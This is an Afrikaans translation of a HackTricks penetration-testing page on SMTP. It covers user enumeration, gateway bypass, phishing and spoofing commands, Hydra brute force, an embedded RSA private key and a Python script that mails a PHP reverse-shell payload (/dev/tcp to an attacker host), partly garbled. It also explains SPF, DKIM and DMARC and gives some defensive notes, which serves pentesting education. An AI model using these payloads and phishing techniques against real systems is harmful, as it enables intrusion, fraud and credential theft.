25,465,587 - Pentesting SMTP/s
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Die Simple Mail Transfer Protocol (SMTP) is ’n protokol wat binne die TCP/IP-suite gebruik word vir die stuur en ontvang van e-pos. As gevolg van die beperkinge om boodskappe by die ontvangerskant in ’n ry te hou, word SMTP dikwels saam met POP3 of IMAP gebruik. Hierdie bykomende protokolle stel gebruikers in staat om boodskappe op ’n bedienerposbus te stoor en dit periodiek af te laai.
In die praktyk is dit algemeen dat e-posprogramme SMTP gebruik om e-posse te stuur, terwyl hulle POP3 of IMAP gebruik om dit te ontvang. Op Unix-gebaseerde stelsels is sendmail die SMTP-bediener wat die meeste vir e-posdoeleindes gebruik word. Die kommersiële pakket bekend as Sendmail sluit ’n POP3-bediener in. Verder bied Microsoft Exchange ’n SMTP-bediener en die opsie om POP3-ondersteuning in te skakel.
Standaardpoort: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
Email Security Gateways (SEGs)
Soos in hierdie blogplasing vermeld, sit Secure Email Gateways (SEGs) in-line met inkomende e-posvloei deur die MX records te verander om na die SEG te wys in plaas van na die mailserver. Die SEG inspekteer inkomende e-pos (bv. IP reputation, blocklists, SPF checks, spoofing detection, metadata/content analysis, sandboxing, URL rewriting) en stuur dan boodskappe verder, verwerp dit, of plaas dit in kwarantyn gebaseer op beleid. Die sekuriteitsmodel neem aan dat alle inkomende e-pos eers die SEG bereik; as die mailserver direk bereik kan word, kan die SEG omseil (vergelykbaar met om ’n WAF te omseil deur direk met die origin te kommunikeer).
Avoiding SEGs via MX mismatch
Organisasies wat Entra ID / Exchange Online gebruik, het dikwels meerdere accepted domains. As enige accepted domain ’n MX record het wat direk na die mailserver wys (bv. Exchange Online) in plaas van na die SEG, kan jy e-pos aan daardie domain aflewer en die SEG omseil. Dit is ’n miskonfigurasie (nie ’n kwetsbaarheid nie) maar steeds ’n algemene gaping.
Neem ook kennis van die standaard <tenant>.onmicrosoft.com domain: sy MX record wys altyd na Exchange Online. As inkomende na *.onmicrosoft.com nie beperk is nie, kan dit wees dat ’n e-pos aan user@<tenant>.onmicrosoft.com direk in die inkassie beland terwyl die SEG omseil word.
Verdedigingsnotas:
- Beperk inkomende verkeer na
*.onmicrosoft.com. - Kontroleer gereeld accepted domains en hul MX-omleiding.
- Konfigureer mailservers sodat hulle slegs inkomende verkeer vanaf die SEG aanvaar.
EMAIL Headers
As jy die geleentheid het om die slagoffer te laat jou ’n e-pos stuur (bv. via ’n kontakvorm op die webblad), doen dit, want jy kan deur die headers van die e-pos meer oor die interne topologie van die slagoffer leer.
Jy kan ook ’n e-pos kry van ’n SMTP-server wat probeer ’n e-pos aan daardie server na ‘n nie-bestaande adres te stuur’ (want die server sal ’n NDN-e-pos aan die aanvaller stuur). Maar wees seker dat jy die e-pos van ’n toegelate adres stuur (kontroleer die SPF-beleid) en dat jy NDN-boodskappe kan ontvang.
Jy moet ook probeer om verskillende inhoud te stuur aangesien jy meer interessante inligting in die headers kan vind soos: X-Virus-Scanned: by av.domain.com
Jy moet die EICAR toetslêer stuur.
Om die AV te identifiseer kan jou in staat stel om bekende kwetsbaarhede te misbruik.
Basiese aksies
Banner Grabbing/Basic connection
SMTP:
nc -vn <IP> 25
SMTPS:
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
Om MX-bedieners van ’n organisasie te vind
dig +short mx google.com
Enumerasie
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
NTLM Auth - Information disclosure
As die bediener NTLM auth (Windows) ondersteun, kan jy sensitiewe inligting (weergawes) bekom. Meer inligting here.
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
Of outomatiseer dit met die nmap plugin smtp-ntlm-info.nse
Interne bedienernaam - Inligtingblootstelling
Sommige SMTP-bedieners vul ’n sender se adres outomaties aan wanneer die opdrag “MAIL FROM” sonder ’n volle adres uitgevoer word, en openbaar daarmee die interne naam daarvan:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Sniffing
Kontroleer of jy ’n password uit die packets na port 25 kan sniff.
Auth bruteforce
Gebruikersnaam Bruteforce Enumeration
Verifikasie is nie altyd nodig nie
RCPT TO
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
VRFY
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
EXPN
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost
Outomatiese gereedskap
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
DSN Verslae
Delivery Status Notification Reports: As jy ’n email na ’n organisasie stuur op ’n ongeldige adres, sal die organisasie jou in kennis stel dat die adres ongeldig was deur ’n mail terug aan jou te stuur. Headers van die teruggestuurde email sal moontlik gevoelige inligting bevat (soos die IP-adres van die mail-dienste wat met die verslae geinteraksie gehad het of anti-virus sagteware-inligting).
Commands
Stuur ’n Email vanaf die linux console
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
Wanneer jy lêers aanheg met swaks, gebruik die @ voorvoegsel sodat die lêerbytes ingesluit word in plaas van die letterlike lêernaamstring. Dit is krities vir die aflewering van makro-dokumente:
swaks --to hr@example.local --from attacker@evil.com --header "Subject: Resume" --body "Please review" --attach @resume.doc --server 10.0.0.5
Stuur ’n e-pos met Python
Python-kode hier
```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import syslhost = “127.0.0.1” lport = 443 rhost = “192.168.1.1” rport = 25 # 489,587
create message object instance
msg = MIMEMultipart()
setup the parameters of the message
password = “” msg[‘From’] = “attacker@local” msg[‘To’] = “victim@local” msg[‘Subject’] = “This is not a drill!”
payload
message = (“& /dev/tcp/%s/%d 0>&1'); ?>” % (lhost,lport))
print(“[*] Payload is generated : %s” % message)
msg.attach(MIMEText(message, ‘plain’)) server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250: print(“[-]Connection Error”) exit()
server.starttls()
Uncomment if log-in with authencation
server.login(msg[‘From’], password)
server.sendmail(msg[‘From’], msg[‘To’], msg.as_string()) server.quit()
print(“[***]successfully sent email to %s:” % (msg[‘To’]))
</details>
## SMTP Smuggling
Die SMTP Smuggling kwesbaarheid het toegelaat om alle SMTP-beskermerings te omseil (kyk die volgende afdeling vir meer inligting oor beskerming). Vir meer inligting oor SMTP Smuggling kyk:
<a class="content_ref" href="smtp-smuggling.md"><span class="content_ref_label">SMTP Smuggling</span></a>
## Mail Spoofing Countermeasures
Organisasies word beskerm teen ongemagtigde e-posse wat namens hulle gestuur word deur die gebruik van **SPF**, **DKIM**, en **DMARC**, aangesien SMTP-boodskappe maklik nageboots kan word.
'n **Volledige gids tot hierdie teenmaatreëls** is beskikbaar by [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
> [!CAUTION]
> SPF [is in 2014 "deprecated" verklaar](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Dit beteken dat in plaas van om 'n **TXT record** in `_spf.domain.com` te skep jy dit in `domain.com` skep met dieselfde sintaksis.\
> Verder, om vorige spf-records te hergebruik is dit baie algemeen om iets soos `"v=spf1 include:_spf.google.com ~all"` te vind
**Sender Policy Framework** (SPF) is 'n meganisme wat Mail Transfer Agents (MTAs) toelaat om te verifieer of 'n gasheer wat 'n e-pos stuur, gemagtig is deur 'n lys van gemagtigde mail-bedieners wat deur die organisasie gedefinieer is, te raadpleeg. Hierdie lys, wat IP-adresse/-reekse, domeine en ander entiteite spesifiseer wat **gemagtig is om e-pos te stuur namens 'n domeinnaam**, sluit verskeie "**Meganismes**" in die SPF-record in.
#### Meganismes
Vanaf [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
| Mechanism | Description |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Kom altyd ooreen; word gebruik vir 'n standaardresultaat soos `-all` vir alle IP's wat nie deur vorige meganismes ooreenstem nie. |
| A | Indien die domeinnaam 'n adresse-record (A of AAAA) het wat na die sender se adres opgelos kan word, sal dit ooreenstem. |
| IP4 | Indien die sender binne 'n gegewe IPv4-adresreeks is, ooreenstem. |
| IP6 | Indien die sender binne 'n gegewe IPv6-adresreeks is, ooreenstem. |
| MX | Indien die domeinnaam 'n MX-record het wat na die sender se adres oplos, sal dit ooreenstem (d.w.s. die e-pos kom van een van die domein se inkomende mailbedieners). |
| PTR | Indien die domeinnaam (PTR-record) vir die kliënt se adres binne die gegewe domein is en daardie domeinnaam na die kliënt se adres oplos (forward-confirmed reverse DNS), ooreenstem. Hierdie meganisme word ontmoedig en behoort vermy te word, indien moontlik. |
| EXISTS | Indien die gegewe domeinnaam na enige adres oplos, ooreenstem (ongeag die adres waarna dit oplos). Dit word selde gebruik. Saam met die SPF-makrotaal bied dit meer komplekse ooreenkomste soos DNSBL-navrae. |
| INCLUDE | Verwys na die beleid van 'n ander domein. Indien daardie domein se beleid slaag, slaag hierdie meganisme. Indien die ingeslote beleid egter misluk, gaan die verwerking voort. Om volledig aan 'n ander domein se beleid toe te ken, moet die redirect-uitbreiding gebruik word. |
| REDIRECT | <p>'n redirect is 'n aanwyser na 'n ander domeinnaam wat 'n SPF-beleid huisves; dit maak dit moontlik vir verskeie domeine om dieselfde SPF-beleid te deel. Dit is nuttig wanneer daar met 'n groot aantal domeine gewerk word wat dieselfde e-pos-infrastruktuur deel.</p><p>Die SPF-beleid van die domein wat in die redirect-meganisme aangedui word, sal gebruik word.</p> |
Dit is ook moontlik om **Kwalifiseerders** te identifiseer wat aandui **wat gedoen moet word as 'n meganisme ooreenstem**. Standaard word die **kwalifiseerder "+"** gebruik (so as enige meganisme ooreenstem, beteken dit dit is toegelaat).\
Gewoonlik sal jy **aan die einde van elke SPF-beleid** iets soos: **\~all** of **-all** sien. Dit word gebruik om aan te dui dat **as die sender by geen SPF-beleid pas nie, jy die e-pos as onbetroubaar (\~) moet merk of die e-pos moet verwerp (-).**
#### Kwalifiseerders
Elk meganisme binne die beleid kan voorafgegaan word deur een van vier kwalifiseerders om die beoogde resultaat te definieer:
- **`+`**: Kom ooreen met 'n PASS-resultaat. Standaard neem meganismes hierdie kwalifiseerder aan, wat `+mx` ewewaardig aan `mx` maak.
- **`?`**: Verteenwoordig 'n NEUTRAL-resultaat, behandel soortgelyk aan NONE (geen spesifieke beleid nie).
- **`~`**: Dui SOFTFAIL aan, 'n middelgrond tussen NEUTRAL en FAIL. E-posse wat hierdie resultaat kry, word gewoonlik aanvaar maar ooreenkomstig gemerk.
- **`-`**: Dui FAIL aan, en suggereer dat die e-pos direk verwerp behoort te word.
In die volgende voorbeeld word die **SPF-beleid van google.com** geïllustreer. Let op die insluiting van SPF-beleide van verskillende domeine binne die eerste SPF-beleid:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Tradisioneel was dit moontlik om enige domeinnaam te spoof wat nie ’n korrekte/aanwesige SPF record gehad het nie. Deesdae, as e-pos van ’n domein sonder ’n geldige SPF record kom, sal dit waarskynlik outomaties verwerp/als onbetroubaar gemerk word.
To check the SPF of a domain you can use online tools like: https://www.kitterman.com/spf/validate.html
DKIM (DomainKeys Identified Mail)
DKIM word gebruik om uitgaande e-pos te onderteken, sodat dit deur eksterne Mail Transfer Agents (MTAs) gevalideer kan word deur die domein se publieke sleutel uit DNS te haal. Hierdie publieke sleutel is in die domein se TXT record geleë. Om toegang tot hierdie sleutel te kry, moet mens zowel die selector as die domeinnaam ken.
Byvoorbeeld, om die sleutel op te vra, is die domeinnaam en selector noodsaaklik. Hierdie kan in die mail header DKIM-Signature gevind word, bv. d=gmail.com;s=20120113.
’n kommando om hierdie inligting te haal kan soos volg lyk:
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC (Domein-gebaseerde boodskapverifikasie, verslagdoening en nakoming)
DMARC verbeter e-possekuriteit deur voort te bou op die SPF- en DKIM-protokolle. Dit stel beleide vas wat mailservers rig in die hantering van e-pos vanaf ’n spesifieke domein, insluitend hoe om met verifikasiefoute te handel en waar om verslae oor e-posverwerkingsaksies te stuur.
Om die DMARC-rekord te bekom, moet jy navraag doen oor die subdomein _dmarc
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
DMARC-merkers
| Tag Name | Doel | Voorbeeld |
|---|---|---|
| v | Protokolweergawe | v=DMARC1 |
| pct | Persentasie boodskappe waarop filtering toegepas word | pct=20 |
| ruf | Rapporterings-URI vir forensiese verslae | ruf=mailto:authfail@example.com |
| rua | Rapporterings-URI vir geaggregeerde verslae | rua=mailto:aggrep@example.com |
| p | Beleid vir organisasiedomein | p=quarantine |
| sp | Beleid vir subdomeine van die organisasiedomein | sp=reject |
| adkim | Belyningsmodus vir DKIM | adkim=s |
| aspf | Belyningsmodus vir SPF | aspf=r |
Wat van subdomeine?
Van hier.
Jy moet afsonderlike SPF-rekords hê vir elke subdomein van waar jy e-pos wil stuur.
Die volgende is oorspronklik op openspf.org gepos, wat vroeër ’n uitstekende bron vir hierdie soort dinge was.
Die Demon-vraag: Wat van subdomeine?
As ek e-pos kry van pielovers.demon.co.uk, en daar is geen SPF-data vir pielovers nie, moet ek dan een vlak teruggaan en SPF vir demon.co.uk toets? Nee. Elke subdomein by Demon is ’n ander klant, en elke klant kan sy eie beleid hê. Dit sou nie sin maak dat Demon se beleid standaard op al sy kliënte van toepassing is nie; as Demon dit wil doen, kan dit SPF-rekords vir elke subdomein opstel.
Dus die advies aan SPF-uitgewers is dit: jy moet ’n SPF-rekord byvoeg vir elke subdomein of hostnaam wat ’n A- of MX-rekord het.
Sites met wildcard A of MX-rekords moet ook ’n wildcard SPF-rekord hê, van die vorm: * IN TXT “v=spf1 -all”
Dit maak sin — ’n subdomein kan goed in ’n ander geografiese ligging wees en ’n heel ander SPF-definisie hê.
Open Relay
Wanneer e-posse gestuur word, is dit noodsaaklik om te verseker dat hulle nie as spam gemerk word nie. Dit word dikwels bereik deur die gebruik van ’n relay server wat deur die ontvanger vertrou word. Daarteenoor is daar ’n algemene probleem dat administrateurs nie altyd ten volle bewus is watter IP-reekse veilig is om toe te laat nie. Hierdie gebrek aan begrip kan lei tot foute by die opstel van die SMTP-bediener, ’n risiko wat gereeld in sekuriteitsassesseringe geïdentifiseer word.
’N Oplossing wat sommige administrateurs gebruik om e-posafleweringsprobleme te vermy, veral met betrekking tot kommunikasie met potensiële of huidige kliënte, is om verbindings van enige IP-adres toe te laat. Dit word gedoen deur die SMTP-bediener se mynetworks parameter te konfigureer om alle IP-adresse te aanvaar, soos hieronder getoon:
mynetworks = 0.0.0.0/0
Om te kontroleer of ’n e-posbediener ’n open relay is (wat beteken dat dit e-posse vanaf enige eksterne bron kan deurstuur), word die nmap-hulpmiddel algemeen gebruik. Dit sluit ’n spesifieke script in wat ontwerp is om dit te toets. Die opdrag om ’n verbose skandering op ’n bediener (byvoorbeeld met IP 10.10.10.10) op poort 25 met nmap uit te voer is:
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
Gereedskap
- https://github.com/serain/mailspoof Kontroleer vir SPF- en DMARC-misconfigurasies
- https://pypi.org/project/checkdmarc/ Kry SPF- en DMARC-konfigurasies outomaties
Stuur Spoof Email
Of jy kan ’n hulpmiddel gebruik:
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
Warning
As jy enige fout by die gebruik van die dkim python lib kry wanneer die sleutel geparse word, kan jy gerus die volgende gebruik.
NOTE: Dit is net ’n vuil oplossing om vinnige kontroles te doen in gevalle waar om een of ander rede die openssl private sleutel nie deur dkim geparse kan word nie.-----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1 koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== -----END RSA PRIVATE KEY-----
Of jy kan dit handmatig doen:
# This will send an unsigned message
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
Meer inligting
Vind meer inligting oor hierdie beskermings by https://seanthegeek.net/459/demystifying-dmarc/
Ander phishing-aanwysers
- Domein se ouderdom
- Skakels wat na IP-adresse wys
- Skakelmanipulasie-tegnieke
- Verdagte (ongewone) aanhangsels
- Gebroke e-posinhoud
- Waarde wat gebruik word wat verskil van dié van die mail headers
- Bestaan van ’n geldige en vertroude SSL-sertifikaat
- Indiening van die bladsy by web content filtering-webwerwe
Exfiltration through SMTP
As jy data via SMTP kan stuur read this.
Konfigurasielêer
Postfix
Gewoonlik, as dit geïnstalleer is, bevat /etc/postfix/master.cf skripte om uit te voer wat byvoorbeeld uitgevoer word wanneer ’n nuwe e-pos deur ’n gebruiker ontvang word. Byvoorbeeld die reël flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} beteken dat /etc/postfix/filtering uitgevoer sal word as ’n nuwe e-pos deur die gebruiker mark ontvang word.
Ander konfigurasielêers:
sendmail.cf
submit.cf
Verwysings
- https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
- https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/
- 0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM
- https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/
HackTricks Outomatiese Kommando’s
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


